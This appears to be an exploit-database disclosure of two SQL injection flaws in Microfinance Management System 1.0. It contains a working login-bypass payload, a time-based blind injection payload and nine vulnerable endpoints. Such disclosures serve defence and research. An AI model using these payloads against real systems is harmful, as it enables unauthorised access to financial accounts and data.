Microfinance Management System 1.0 SQL Injection Vulnerability

# Exploit Title: Microfinance Management System 1.0 - Authentication Bypass
(SQL Injection)
# Date: 23/03/2022
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Version: 1.0
# Tested on: Linux


Title:
================
Microfinance Management System 1.0 - Authentication Bypass (SQL Injection)


Summary:
================
Microfinance Management System version 1.0 is affected by a vulnerability
that allows an attacker to bypass authentication. Due to the lack of SQL
sanitization, the attacker is able to gain full access to the victim's
account by injecting an SQL query.


Severity Level:
================
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L


Affected Product:
================
Microfinance Management System v1.0


Steps to Reproduce:
================

1. Open your browser and go to the login page (
http://target.com/mims/login.php).

2. In the username and password field, put the payload:

'||1=1#


---------------------------------------


# Exploit Title: Microfinance Management System 1.0 - Multiple SQL Injection (unauthenticated)
# Date: 23/03/2022
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Version: 1.0
# Tested on: Linux


Title:
================
Microfinance Management System 1.0 - Multiple SQL Injection
(unauthenticated)


Summary:
================
Microfinance Management System version 1.0 is affected by a vulnerability
that allows an attacker to query the database. Due to the lack of SQL
sanitization and the lack of session verification to see if an
administrative user is accessing the application, the attacker is able to
gain access to the database.


Severity Level:
================
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L


Affected Product:
================
Microfinance Management System v1.0


Steps to Reproduce:
================

All these endpoints are vulnerable to SQL injection:

/mims/pdf_singlecustomer_type.php?customer_type_number=1
/mims/updateaccount.php?account_number=1
/mims/updatecustomer.php?customer_number=1
/mims/update_customertype.php?customer_type_number=1
/mims/updateaccount_type.php?account_type_number=1
/mims/pdf_singleaccount_status.php?account_status_number=1
/mims/pdfaccount.php?account_number=1
/mims/pdf_singleaccount_type.php?account_type_number=1
/mims/pdf_singlecustomer.php?customer_number=1

Payload used:

' and (select * from(select(sleep(10)))Avx) and 'abc' = 'abc